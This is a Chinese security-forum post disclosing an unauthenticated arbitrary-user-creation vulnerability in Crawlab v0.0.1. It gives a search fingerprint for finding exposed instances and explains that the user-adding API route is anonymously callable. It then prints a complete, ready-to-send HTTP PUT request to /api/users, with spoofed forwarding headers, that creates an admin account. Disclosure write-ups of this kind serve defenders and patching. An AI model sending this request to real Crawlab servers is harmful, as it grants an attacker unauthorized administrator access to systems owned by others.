奇安信攻防社区-Crawlab users 任意用户添加漏洞

Crawlab users 任意用户添加漏洞

# Crawlab users 任意用户添加漏洞 ## 漏洞描述 Crawlab users 的 api 存在任意用户添加，且添加为未授权接口，可通过添加后在后台进一步攻击 ## 漏洞影响 Crawlab v0.0.1 ## 网...

Crawlab users 任意用户添加漏洞
======================

漏洞描述
----

Crawlab users 的 api 存在任意用户添加，且添加为未授权接口，可通过添加后在后台进一步攻击

漏洞影响
----

Crawlab v0.0.1

网络测绘
----

title="Crawlab"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f484234eda92fdb040cb93a1a99a1cae0e821f9ef4d0c.jpg)

首先查看路由位置 main.go 文件

![img](https://shs3.b.qianxin.com/butian_public/f1616908986b49cf648949da6a993b154df07b13b2913.jpg)

```python
anonymousGrou 中为匿名可调用方法
authGroup     中为认证可调用方法
```

可以看到 Putuser方法为添加用户，但存在匿名调用

![img](https://shs3.b.qianxin.com/butian_public/f43877329818c133f2f88f0537858e1da8716ae72c379.jpg)

根据字段生成添加用户的请求

```python
PUT /api/users HTTP/1.1
Host: 
Content-Length: 83
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: Hm_lvt_c35e3a563a06caee2524902c81975add=1639222117,1639278935; Hm_lpvt_c35e3a563a06caee2524902c81975add=1639278935
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

{"username":"testppp","password":"testppp","role":"admin","email":"testppp@qq.com"}
```

![img](https://shs3.b.qianxin.com/butian_public/f9692092386fef6b0d0f132ea8031608782539b7d4a31.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f488495f5ca4a63a75db2a81ac7ce996caf108f3b8fe1.jpg)

发表于 2024-07-12 18:45:54
阅读 ( 623 )
分类：Web应用

Crawlab users 任意用户添加漏洞

0 条评论